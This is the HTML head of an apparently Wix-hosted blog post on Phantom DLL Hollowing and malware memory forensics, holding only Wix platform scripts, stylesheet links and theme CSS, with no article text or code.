<!DOCTYPE html>
<html lang="en"><head dir="ltr">
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    
      <link rel="dns-prefetch" href="https://fonts.googleapis.com/">
      <link rel="dns-prefetch" href="https://cdnjs.cloudflare.com/">
    
    
<script>
  try {
    if (window.parent) {
      var msgSent = false;
      var vars = window.location.search.replace('?', '').split('&');
      for (var i = 0; i < vars.length; i++) {
        var arr = vars[i].split('=');
        if (arr[0] == 'compId') {
          window.parent.postMessage('{"intent":"TPA2","callId":1,"type":"appIsAlive","compId":"' + arr[1] + '","deviceType":"desktop","data":{"version":"1.66.0"}}', '*')
          msgSent = true;
        }
      }
      if (!msgSent) {
        console.info('couldn\'t find compId in', window.location);
      }
    }
  } catch (e) {
    console.error('Error posting keep alive msg', e);
  }
</script>



  
    <script>
      window.wixTpaWindowResize = {
        elSelector: '#content-wrapper',
        disableOnMobile: false,
        enableViewportFix: false,
      }
    </script>
  
  <script>!function(){"use strict";!function(e){var n=e.wixTpaWindowResize;if(n){if(!n.elSelector)return console.error("Aborting window resize handler: you must specify a css selector");var i,t=decodeURIComponent(e.location.search).split("&").reduce(function(e,n){var i=n.split("=");return e[i[0]]=i[1],e},{}),o=320,r=n.elSelector,a=n.interval||160,s=n.minHeight||null,c=n.disableOnMobile||!1,l=n.enableViewportFix||!1,d="mobile"===t.deviceType,u=["editor","preview"].indexOf(t.viewMode)>-1,h=n.onInit||function(){},f=!1!==n.listenOnInit,v=!0===n.log;d&&c||(f&&g(),h({startListening:g,stopListening:m}))}function p(e){v&&console.log("window-resize-handler ",e)}function w(n){var i=n.scrollHeight*(d&&l?o/(u?o:function(){var n=!1;if(void 0!==e.orientation)n=90===e.orientation||-90===e.orientation;else{var i=e.matchMedia("(orientation: landscape)");n=!(!i||!0!==i.matches)}return n}()?Math.max(e.screen.width,e.screen.height):e.screen.width):1);return s?Math.max(i,s):i}function g(){var n=0;i=e.setInterval(function(){var i=e.document.querySelector(r);if(i){var t=w(i);n===t&&e.innerHeight===t||(n=t,function(n){e.Wix?(p("window.Wix.setHeight"),e.Wix.setHeight(n)):(p("window.parent.postMessage"),e.parent.postMessage('{"intent":"TPA2","callId":1,"type":"heightChanged","compId":"'+e.name+'","deviceType":"desktop","data":{"version":"1.66.0", "args":{"height":"'+n+'", "overflow":"false"}}}',"*"))}(t))}},a)}function m(){e.clearInterval(i)}}(window)}();
</script>




  

    
  <title>Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing</title>
  <meta data-react-helmet="true" property="og:type" content="article"><meta data-react-helmet="true" name="description" content="This will be the first post in a series on malware memory forensics and bypassing defensive scanners. It was written with the assumption that the reader understands the basics of Windows internals and malware design. I will not be discussing the nature of the shellcode, process injection, process hollowing"><meta data-react-helmet="true" property="og:description" content="This will be the first post in a series on malware memory forensics and bypassing defensive scanners. It was written with the assumption that the reader underst"><meta data-react-helmet="true" property="og:title" content="Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing"><meta data-react-helmet="true" property="og:image" content="https://static.wixstatic.com/media/c1d8f6_eecf5699090e4b4096fefc5fa49a2503~mv2.jpg/v1/fit/w_761,h_900,al_c,q_80/file.png"><meta data-react-helmet="true" property="og:image:width" content="761"><meta data-react-helmet="true" property="og:image:height" content="900"><meta data-react-helmet="true" name="robots" content="max-snippet:-1, max-image-preview:large, max-video-preview:-1">


<link data-react-helmet="true" rel="canonical" href="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing">

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<link rel="shortcut icon" href="https://www.wix.com/favicon.ico">




  <script type="text/javascript">
  (function(x,e,o,s,n){var a=window.fedops||{};a.apps=a.apps||{};a.apps[x]={startLoadTime:e&&e.now&&e.now()};try{a.sessionId=o.getItem("fedops.logger.sessionId")}catch(x){}a.sessionId=a.sessionId||"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,function(x){var e=s()*16|0,o=x=="x"?e:e&3|8;return o.toString(16)});window.fedops=a;var d="//frog.wix.com/fed?appName="+x+"&src=72&evid=14&session_id="+a.sessionId+"&_="+s();if(!!n&&!!n.sendBeacon){n.sendBeacon(d)}else{(new Image).src=d}})('communities-blog-post-page',window.performance,window.localStorage,Math.random,window.navigator);
</script>



    
      <link rel="stylesheet" type="text/css" href="dispatcher_data/css.css">
<link rel="stylesheet" type="text/css" href="malicious-memory-artifacts-part-i-dll-hollowing_data/languages.css">
<link rel="stylesheet" type="text/css" href="dispatcher_data/languages.css">
<link rel="stylesheet" type="text/css" href="modal_data/main.css">
<link rel="stylesheet" type="text/css" href="modal_data/blog.css">
<link rel="stylesheet" type="text/css" href="malicious-memory-artifacts-part-i-dll-hollowing_data/slick.css">
<link rel="stylesheet" type="text/css" href="modal_data/vendor-app.css">
<link rel="stylesheet" type="text/css" href="modal_data/common-app.css">
<link rel="stylesheet" type="text/css" href="malicious-memory-artifacts-part-i-dll-hollowing_data/post-page.css">
      
<style>@font-face {
font-family: wf_a06df987aac84453946eecb85;
src: url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/woff/file.woff") format("woff"),
url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/woff2/file.woff2") format("woff2"),
url("https://static.wixstatic.com/ufonts/c1d8f6_a06df987aac84453946eecb8586c794d/ttf/file.ttf") format("ttf");
}
</style>


<style wix-style="">
  .blog-primary-color { color: #30BDFF; }
	.blog-primary-color { color: #30BDFF; }
	.blog-primary-background-color { background-color: #30BDFF; }
	.blog-primary-background-color { background-color: #30BDFF; }
	.blog-primary-border-color { border-color: #30BDFF; }
	.blog-primary-border-color { border-color: #30BDFF; }
	.blog-primary-border-bottom-color { border-bottom-color: #30BDFF; }
	.blog-primary-border-bottom-color { border-bottom-color: #30BDFF; }
	.blog-primary-border-left-color { border-left-color: #30BDFF; }
	.blog-primary-border-left-color { border-left-color: #30BDFF; }
	.blog-primary-fill { fill: #30BDFF; }
	.blog-primary-fill { fill: #30BDFF; }
  .blog-secondary-fill { fill: #41BAAE; }
	.blog-secondary-fill { fill: #41BAAE; }
  .blog-header-border-color { border-color: #2F2E2E; }
	.blog-header-border-color { border-color: #2F2E2E; }
  .blog-border-color { border-color: #B6E8E3; }
	.blog-border-color { border-color: #B6E8E3; }

  .blog-disabled-border-color {
    border-color: #f0f0f0;
  }

  .blog-disabled-background-color {
    border-color: #f0f0f0;
  }

  /* Header styles */
  .blog-navigation-container-color { color: rgba(47,46,46,1); }
	.blog-navigation-container-color { color: rgba(47,46,46,1); }
	.blog-navigation-container-fill { fill: rgba(47,46,46,1); }
	.blog-navigation-container-fill { fill: rgba(47,46,46,1); }
	.blog-navigation-container-border-color { border-color: rgba(47,46,46,1); }
	.blog-navigation-container-border-color { border-color: rgba(47,46,46,1); }
  .blog-navigation-container-active-color { color: rgba(141,209,202,1); }
	.blog-navigation-container-active-color { color: rgba(141,209,202,1); }
	.blog-navigation-container-active-fill { fill: rgba(141,209,202,1); }
	.blog-navigation-container-active-fill { fill: rgba(141,209,202,1); }
  .blog-navigation-container-separator-background-color { background-color: rgba(47,46,46,1); }
	.blog-navigation-container-separator-background-color { background-color: rgba(47,46,46,1); }
  .blog-navigation-container-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 14px; line-height: normal; }
	.blog-navigation-container-font { font:normal normal normal 16px/20px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-navigation-container-font { font:normal normal normal 16px/20px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
  .blog-navigation-link-hover-color:hover { color: rgba(148,130,27,1); }
	.blog-navigation-link-hover-color:hover { color: rgba(148,130,27,1); }
	.blog-navigation-link-hover-fill:hover { fill: rgba(148,130,27,1); }
	.blog-navigation-link-hover-fill:hover { fill: rgba(148,130,27,1); }
  .blog-navigation-link-active-color { color: rgba(148,130,27,1); }
	.blog-navigation-link-active-color { color: rgba(148,130,27,1); }
	.blog-navigation-link-active-fill { fill: rgba(148,130,27,1); }
	.blog-navigation-link-active-fill { fill: rgba(148,130,27,1); }
  .blog-desktop-header-background-color { background-color: #FFFFFF; }
	.blog-desktop-header-background-color { background-color: #FFFFFF; } /*TODO: remove with header-widget experiment*/
  .blog-navigation-container-background-color { background-color: rgba(255,255,255,1); }
	.blog-navigation-container-background-color { background-color: rgba(255,255,255,1); }
  .blog-header-background-color { background-color: rgba(255,255,255,1); }
	.blog-header-background-color { background-color: rgba(255,255,255,1); }
  .blog-header-widget-font { font:normal normal normal 16px/1.4em "libre baskerville",serif;  line-height: normal; }
	.blog-header-widget-font { style.header-font line-height: normal; }
  .blog-header-widget-text-color { color: rgba(47,46,46,1); }
	.blog-header-widget-text-color { color: rgba(47,46,46,1); }
  .blog-header-notification-bubble-background-color { background-color: rgba(65,186,174,1); }
	.blog-header-notification-bubble-background-color { background-color: rgba(65,186,174,1); }
  .blog-header-notification-bubble-text-color { color: rgba(255,255,255,1); }
	.blog-header-notification-bubble-text-color { color: rgba(255,255,255,1); }
  .blog-header-widget-icon-fill { fill: rgba(47,46,46,1); }
	.blog-header-widget-icon-fill { fill: rgba(47,46,46,1); }
  .blog-desktop-header-search-font { font:normal normal normal 16px/1.4em "libre baskerville",serif;  line-height: normal; }
	.blog-desktop-header-search-font { style.header-font line-height: normal; }
  .blog-desktop-header-search-text-color { color: rgba(47,46,46,1); }
	.blog-desktop-header-search-text-color { color: rgba(47,46,46,1); }
  .blog-desktop-header-search-icon-fill { fill: rgba(47,46,46,1); }
	.blog-desktop-header-search-icon-fill { fill: rgba(47,46,46,1); }
  .blog-desktop-header-search-border-background-color { background-color: rgba(47,46,46,1); }
	.blog-desktop-header-search-border-background-color { background-color: rgba(47,46,46,1); }
  .blog-page-description-title-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 32px; line-height: normal; }
	.blog-page-description-title-font { style.header-categoryTitleFont line-height: normal; }
  .blog-page-description-content-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-page-description-content-font { style.header-categoryDescriptionFont line-height: normal; }
  .blog-page-description-title-header300-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 40px; line-height: 1.2; }
	.blog-page-description-title-header300-font { style.header-homepageTitleFont line-height: 1.2; }
  .blog-page-description-content-header300-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 18px; line-height: 1.5; }
	.blog-page-description-content-header300-font { style.header-homepageDescriptionFont line-height: 1.5; }

  /* Post styles */
  .blog-text-color { color: rgba(246,246,246,1); }
	.blog-text-color { color: rgba(246,246,246,1); }
	.blog-text-border-color { border-color: rgba(246,246,246,1); }
	.blog-text-border-color { border-color: rgba(246,246,246,1); }
	.blog-text-background-color { background-color: rgba(246,246,246,1); }
	.blog-text-background-color { background-color: rgba(246,246,246,1); }
  .blog-text-after-background-color::after { background-color: rgba(246,246,246,1); }
	.blog-text-after-background-color::after { background-color: rgba(246,246,246,1); }
  .blog-separator-background-color { background-color: rgba(246,246,246,1); }
	.blog-separator-background-color { background-color: rgba(246,246,246,1); }
  .blog-icon-fill { fill: rgba(246,246,246,1); }
	.blog-icon-fill { fill: rgba(246,246,246,1); }
	.blog-icon-stroke { stroke: rgba(246,246,246,1); }
	.blog-icon-stroke { stroke: rgba(246,246,246,1); }
  .blog-background-color { background-color: rgba(47,46,46,1); }
	.blog-background-color { background-color: rgba(47,46,46,1); }
  .blog-card-background-color { background-color: rgba(47,46,46,1); }
	.blog-card-background-color { background-color: rgba(47,46,46,1); }
	.blog-card-fill { fill: rgba(47,46,46,1); }
	.blog-card-fill { fill: rgba(47,46,46,1); }
	.blog-card-stroke { stroke: rgba(47,46,46,1); }
	.blog-card-stroke { stroke: rgba(47,46,46,1); }
	.blog-card-color { color: rgba(47,46,46,1); }
	.blog-card-color { color: rgba(47,46,46,1); }
  .blog-inverted-separator-background-color { background-color: rgba(47,46,46,1); }
	.blog-inverted-separator-background-color { background-color: rgba(47,46,46,1); }
  .blog-profile-photo-border-color { border-color: rgba(47,46,46,1); }
	.blog-profile-photo-border-color { border-color: rgba(47,46,46,1); }
  .blog-card-border-color { border-color: rgba(47,46,46,0.71); }
	.blog-card-border-color { border-color: rgba(47,46,46,0.71); }
	.blog-card-border-bottom-color { border-bottom-color: rgba(47,46,46,0.71); }
	.blog-card-border-bottom-color { border-bottom-color: rgba(47,46,46,0.71); }

  .blog-post-title-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 28px; line-height: normal; }
	.blog-post-title-font { font:normal normal normal 40px/50px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-title-font { font:normal normal normal 40px/50px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
  .blog-post-title-color { color: rgba(148,130,27,1); }
	.blog-post-title-color { color: rgba(148,130,27,1); }
  .blog-post-description-style-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-description-style-font { style.post-descriptionFont line-height: normal; }
  .blog-post-description-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-description-font { style.post-descriptionFont line-height: normal; }
	.blog-post-description-font { font-style: inherit; font-weight: inherit; text-decoration: inherit; }
  .blog-post-page-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 18px; line-height: normal; }
	.blog-post-page-font { font:12px/15px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-page-font { font:normal normal normal 12px/15px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-page-font { font-style: inherit; font-weight: inherit; text-decoration: inherit; }
  .blog-post-page-title-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 40px; line-height: normal; }
	.blog-post-page-title-font { font:normal normal normal 40px/50px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-page-title-font { font:normal normal normal 40px/50px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }

  /* Post advanced styles */

  .blog-post-quote-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-quote-font { font:normal normal normal 24px/30px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-quote-font { font:normal normal normal 24px/30px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
  .blog-post-quote-color { color: rgba(179,179,179,1); }
	.blog-post-quote-color { color: rgba(179,179,179,1); }
  .blog-post-header-two-font { undefined  line-height: normal; }
	.blog-post-header-two-font { font:normal normal normal 22px/27px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-header-two-font { font:normal normal normal 22px/27px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
  .blog-post-header-two-color { color: rgba(148,130,27,1); }
	.blog-post-header-two-color { color: rgba(148,130,27,1); }
  .blog-post-header-three-font { undefined  line-height: normal; }
	.blog-post-header-three-font { font:normal normal normal 18px/22px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
	.blog-post-header-three-font { font:normal normal normal 18px/22px wfont_c1d8f6_a06df987aac84453946eecb8586c794d,wf_a06df987aac84453946eecb85,orig_consolas; line-height: normal; }
  .blog-post-header-three-color { color: rgba(148,130,27,1); }
	.blog-post-header-three-color { color: rgba(148,130,27,1); }

  /* Feed styles from design page */
  .blog-post-homepage-title-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 28px; line-height: normal; }
	.blog-post-homepage-title-font { style.post-homepage-titleFont line-height: normal; }
  .blog-post-homepage-description-style-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-homepage-description-style-font { style.post-homepage-descriptionFont line-height: normal; }
  .blog-post-homepage-description-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-homepage-description-font { style.post-homepage-descriptionFont line-height: normal; }
	.blog-post-homepage-description-font { font-style: inherit; font-weight: inherit; text-decoration: inherit; }
  .blog-post-homepage-title-color { color: #2F2E2E; }
	.blog-post-homepage-title-color { color: #2F2E2E; }
  .blog-post-homepage-TOI-title-color { color: #FFFFFF; }
	.blog-post-homepage-TOI-title-color { color: #FFFFFF; }
  .blog-post-homepage-description-color { color: #2F2E2E; }
	.blog-post-homepage-description-color { color: #2F2E2E; }
	.blog-post-homepage-description-fill { fill: #2F2E2E; }
	.blog-post-homepage-description-fill { fill: #2F2E2E; }
	.blog-post-homepage-description-background-color { background-color: #2F2E2E; }
	.blog-post-homepage-description-background-color { background-color: #2F2E2E; }
  .blog-post-homepage-TOI-description-color { color: #FFFFFF; }
	.blog-post-homepage-TOI-description-color { color: #FFFFFF; }
	.blog-post-homepage-TOI-description-fill { fill: #FFFFFF; }
	.blog-post-homepage-TOI-description-fill { fill: #FFFFFF; }
	.blog-post-homepage-TOI-description-background-color { background-color: #FFFFFF; }
	.blog-post-homepage-TOI-description-background-color { background-color: #FFFFFF; }
  .blog-post-homepage-border-color { border-color: #F6F6F6; }
	.blog-post-homepage-border-color { border-color: #F6F6F6; }
  .blog-post-homepage-overlay-background-color { background-color: undefined; }
	.blog-post-homepage-overlay-background-color { background-color: 0.35); }
  .is-desktop .blog-post-homepage-link-hashtag-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-homepage-link-hashtag-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-homepage-link-hashtag-hover-fill:hover { fill: #30BDFF; }
	.is-desktop .blog-post-homepage-link-hashtag-hover-fill:hover { fill: #30BDFF; }
  .blog-post-homepage-background-color { background-color: #FFFFFF; }
	.blog-post-homepage-background-color { background-color: #FFFFFF; }
  .blog-post-homepage-TOI-background-color { background-color: #2F2E2E; }
	.blog-post-homepage-TOI-background-color { background-color: #2F2E2E; }
  .is-desktop .blog-post-homepage-hover-container:hover .blog-hover-container-element-color { color: #30BDFF; }
	.is-desktop .blog-post-homepage-hover-container:hover .blog-hover-container-element-color { color: #30BDFF; }
	.is-desktop .blog-post-homepage-hover-container:hover .blog-hover-container-element-fill { fill: #30BDFF; }
	.is-desktop .blog-post-homepage-hover-container:hover .blog-hover-container-element-fill { fill: #30BDFF; }
  .blog-post-homepage-post-container .blog-link-hashtag-color { color: #30BDFF; }
	.blog-post-homepage-post-container .blog-link-hashtag-color { color: #30BDFF; }
  .blog-post-homepage-post-container .blog-post-text-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif;  line-height: normal; }
	.blog-post-homepage-post-container .blog-post-text-font { style.post-homepage-descriptionFont line-height: normal; }
  .blog-post-homepage-post-container .blog-post-text-color { color: #2F2E2E; }
	.blog-post-homepage-post-container .blog-post-text-color { color: #2F2E2E; }
  .blog-post-homepage-post-container .blog-icon-fill { fill: #2F2E2E; }
	.blog-post-homepage-post-container .blog-icon-fill { fill: #2F2E2E; }
  .is-desktop .blog-post-homepage-post-container .blog-link-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-homepage-post-container .blog-link-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-homepage-post-container .blog-link-hover-fill:hover { fill: #30BDFF; }
	.is-desktop .blog-post-homepage-post-container .blog-link-hover-fill:hover { fill: #30BDFF; }

  .blog-post-category-title-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif; font-size: 28px; line-height: normal; }
	.blog-post-category-title-font { style.post-category-titleFont line-height: normal; }
  .blog-post-category-description-style-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-category-description-style-font { style.post-category-descriptionFont line-height: normal; }
  .blog-post-category-description-font { font:normal normal normal 16px/1.4em "libre baskerville",serif; font-size: 16px; line-height: normal; }
	.blog-post-category-description-font { style.post-category-descriptionFont line-height: normal; }
	.blog-post-category-description-font { font-style: inherit; font-weight: inherit; text-decoration: inherit; }
  .blog-post-category-title-color { color: #2F2E2E; }
	.blog-post-category-title-color { color: #2F2E2E; }
  .blog-post-category-TOI-title-color { color: #FFFFFF; }
	.blog-post-category-TOI-title-color { color: #FFFFFF; }
  .blog-post-category-description-color { color: #2F2E2E; }
	.blog-post-category-description-color { color: #2F2E2E; }
	.blog-post-category-description-fill { fill: #2F2E2E; }
	.blog-post-category-description-fill { fill: #2F2E2E; }
	.blog-post-category-description-background-color { background-color: #2F2E2E; }
	.blog-post-category-description-background-color { background-color: #2F2E2E; }
  .blog-post-category-TOIdescription-color { color: #FFFFFF; }
	.blog-post-category-TOIdescription-color { color: #FFFFFF; }
	.blog-post-category-TOIdescription-fill { fill: #FFFFFF; }
	.blog-post-category-TOIdescription-fill { fill: #FFFFFF; }
	.blog-post-category-TOIdescription-background-color { background-color: #FFFFFF; }
	.blog-post-category-TOIdescription-background-color { background-color: #FFFFFF; }
  .blog-post-category-border-color { border-color: #F6F6F6; }
	.blog-post-category-border-color { border-color: #F6F6F6; }
  .blog-post-category-overlay-background-color { background-color: undefined; }
	.blog-post-category-overlay-background-color { background-color: 0.35); }
  .is-desktop .blog-post-category-link-hashtag-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-category-link-hashtag-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-category-link-hashtag-hover-fill:hover { fill: #30BDFF; }
	.is-desktop .blog-post-category-link-hashtag-hover-fill:hover { fill: #30BDFF; }
  .blog-post-category-background-color { background-color: #FFFFFF; }
	.blog-post-category-background-color { background-color: #FFFFFF; }
  .blog-post-category-TOI-background-color { background-color: #2F2E2E; }
	.blog-post-category-TOI-background-color { background-color: #2F2E2E; }
  .is-desktop .blog-post-category-hover-container:hover .blog-hover-container-element-color { color: #30BDFF; }
	.is-desktop .blog-post-category-hover-container:hover .blog-hover-container-element-color { color: #30BDFF; }
	.is-desktop .blog-post-category-hover-container:hover .blog-hover-container-element-fill { fill: #30BDFF; }
	.is-desktop .blog-post-category-hover-container:hover .blog-hover-container-element-fill { fill: #30BDFF; }
  .blog-post-category-post-container .blog-link-hashtag-color { color: #30BDFF; }
	.blog-post-category-post-container .blog-link-hashtag-color { color: #30BDFF; }
  .blog-post-category-post-container .blog-post-text-font { font:normal normal normal 25px/1.4em georgia,palatino,"book antiqua","palatino linotype",serif;  line-height: normal; }
	.blog-post-category-post-container .blog-post-text-font { style.post-category-descriptionFont line-height: normal; }
  .blog-post-category-post-container .blog-post-text-color { color: #2F2E2E; }
	.blog-post-category-post-container .blog-post-text-color { color: #2F2E2E; }
  .blog-post-category-post-container .blog-icon-fill { fill: #2F2E2E; }
	.blog-post-category-post-container .blog-icon-fill { fill: #2F2E2E; }
  .is-desktop .blog-post-category-post-container .blog-link-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-category-post-container .blog-link-hover-color:hover { color: #30BDFF; }
	.is-desktop .blog-post-category-post-container .blog-link-hover-fill:hover { fill: #30BDFF; }
	.is-desktop .blog-post-category-post-container .blog-link-hover-fill:hover { fill: #30BDFF; }

  /* Button styles */
  .blog-link-hashtag-color { color: rgba(141,209,202,1); }
	.blog-link-hashtag-color { color: rgba(141,209,202,1); }
  .blog-button-primary-text-color { color: rgba(255,255,255,1); }
	.blog-button-primary-text-color { color: rgba(255,255,255,1); }
	.blog-button-primary-text-background-color { background-color: rgba(255,255,255,1); }
	.blog-button-primary-text-background-color { background-color: rgba(255,255,255,1); }
	.blog-button-primary-text-border-color { border-color: rgba(255,255,255,1); }
	.blog-button-primary-text-border-color { border-color: rgba(255,255,255,1); }
  .blog-button-primary-icon-fill { fill: rgba(255,255,255,1); }
	.blog-button-primary-icon-fill { fill: rgba(255,255,255,1); }
	.blog-button-primary-icon-stroke { stroke: rgba(255,255,255,1); }
	.blog-button-primary-icon-stroke { stroke: rgba(255,255,255,1); }
  .blog-button-secondary-text-color { color: rgba(148,130,27,1); }
	.blog-button-secondary-text-color { color: rgba(148,130,27,1); }
  .blog-button-secondary-text-hover-color:hover { color: rgba(148,130,27,1); }
	.blog-button-secondary-text-hover-color:hover { color: rgba(148,130,27,1); }
  .blog-button-secondary-icon-fill { fill: #30BDFF; }
	.blog-button-secondary-icon-fill { fill: #30BDFF; }
  .blog-button-color { color: rgba(148,130,27,1); }
	.blog-button-color { color: rgba(148,130,27,1); }
	.blog-button-background-color { background-color: rgba(148,130,27,1); }
	.blog-button-background-color { background-color: rgba(148,130,27,1); }
	.blog-button-border-color { border-color: rgba(148,130,27,1); }
	.blog-button-border-color { border-color: rgba(148,130,27,1); }
	.blog-button-border-bottom-color { border-bottom-color: rgba(148,130,27,1); }
	.blog-button-border-bottom-color { border-bottom-color: rgba(148,130,27,1); }
	.blog-button-fill { fill: rgba(148,130,27,1); }
	.blog-button-fill { fill: rgba(148,130,27,1); }
	.blog-button-stroke { stroke: rgba(148,130,27,1); }
	.blog-button-stroke { stroke: rgba(148,130,27,1); }
  .blog-button-hover-color:hover { color: rgba(148,130,27,1); }
	.blog-button-hover-color:hover { color: rgba(148,130,27,1); }
  .is-desktop .blog-tab-hover-color:hover { color: rgba(148,130,27,1); }
	.is-desktop .blog-tab-hover-color:hover { color: rgba(148,130,27,1); }
  .is-desktop .blog-button-hover-color:hover { color: rgba(141,209,202,1); }
	.is-desktop .blog-button-hover-color:hover { color: rgba(141,209,202,1); }
	.is-desktop .blog-button-hover-fill:hover { fill: rgba(141,209,202,1); }
	.is-desktop .blog-button-hover-fill:hover { fill: rgba(141,209,202,1); }
  .is-desktop .blog-link-hover-color:hover { color: rgba(141,209,202,1); }
	.is-desktop .blog-link-hover-color:hover { color: rgba(141,209,202,1); }
	.is-desktop .blog-link-hover-fill:hover { fill: rgba(141,209,202,1); }
	.is-desktop .blog-link-hover-fill:hover { fill: rgba(141,209,202,1); }
  .is-desktop .blog-link-color { color: rgba(141,209,202,1); }
	.is-desktop .blog-link-color { color: rgba(141,209,202,1); }
	.is-desktop .blog-link-fill { fill: rgba(141,209,202,1); }
	.is-desktop .blog-link-fill { fill: rgba(141,209,202,1); }
	.is-desktop .blog-link-background-color { background-color: rgba(141,209,202,1); }
	.is-desktop .blog-link-background-color { background-color: rgba(141,209,202,1); }
  .blog-quote-border-color { border-color: rgba(141,209,202,1); }
	.blog-quote-border-color { border-color: rgba(141,209,202,1); }
  .is-desktop .blog-hover-container:hover .blog-hover-container-element-color { color: rgba(141,209,202,1); }
	.is-desktop .blog-hover-container:hover .blog-hover-container-element-color { color: rgba(141,209,202,1); }
	.is-desktop .blog-hover-container:hover .blog-hover-container-element-fill { fill: rgba(141,209,202,1); }
	.is-desktop .blog-hover-container:hover .blog-hover-container-element-fill { fill: rgba(141,209,202,1); }
  .is-desktop .blog-button-hover-after-border-color:hover::after { border-color: rgba(148,130,27,1); }
	.is-desktop .blog-button-hover-after-border-color:hover::after { border-color: rgba(148,130,27,1); }
  .is-desktop .blog-button-after-border-color::after { border-color: rgba(148,130,27,1); }
	.is-desktop .blog-button-after-border-color::after { border-color: rgba(148,130,27,1); }
  .blog-icon-secondary-fill { fill: #41BAAE; }
	.blog-icon-secondary-fill { fill: #41BAAE; }
	.blog-icon-secondary-background-color { background-color: #41BAAE; }
	.blog-icon-secondary-background-color { background-color: #41BAAE; }

  /* Widget styles */
  .blog-widget-sign-up-button-background-color { background-color: #30BDFF; }
	.blog-widget-sign-up-button-background-color { background-color: #30BDFF; }
  .blog-widget-sign-up-button-border-color { border-color: #30BDFF; }
	.blog-widget-sign-up-button-border-color { border-color: #30BDFF; }
  .blog-widget-sign-up-button-primary-color { color: #FFFFFF; }
	.blog-widget-sign-up-button-primary-color { color: #FFFFFF; }
  .blog-widget-sign-up-button-secondary-color { color: #30BDFF; }
	.blog-widget-sign-up-button-secondary-color { color: #30BDFF; }
  .blog-widget-sign-up-button-font { font:normal normal normal 16px/1.4em "libre baskerville",serif;  line-height: normal; }
	.blog-widget-sign-up-button-font { style.widget-signUpButtonFont line-height: normal; }
  .blog-widget-notification-icon-fill { fill: #2F2E2E; }
	.blog-widget-notification-icon-fill { fill: #2F2E2E; }
  .blog-widget-notification-bubble-background-color { background-color: rgba(65,186,174,1); }
	.blog-widget-notification-bubble-background-color { background-color: rgba(65,186,174,1); }
  .blog-widget-notification-bubble-text-color { color: rgba(255,255,255,1); }
	.blog-widget-notification-bubble-text-color { color: rgba(255,255,255,1); }
  .blog-widget-avatar-border-color { border-color: #FFFFFF; }
	.blog-widget-avatar-border-color { border-color: #FFFFFF; }

  /* Fixed styles */
  .blog-default-desktop-header-text-color { color: #2F2E2E; }
	.blog-default-desktop-header-text-color { color: #2F2E2E; }
  .blog-default-card-background-color { background-color: #FFFFFF; }
	.blog-default-card-background-color { background-color: #FFFFFF; }
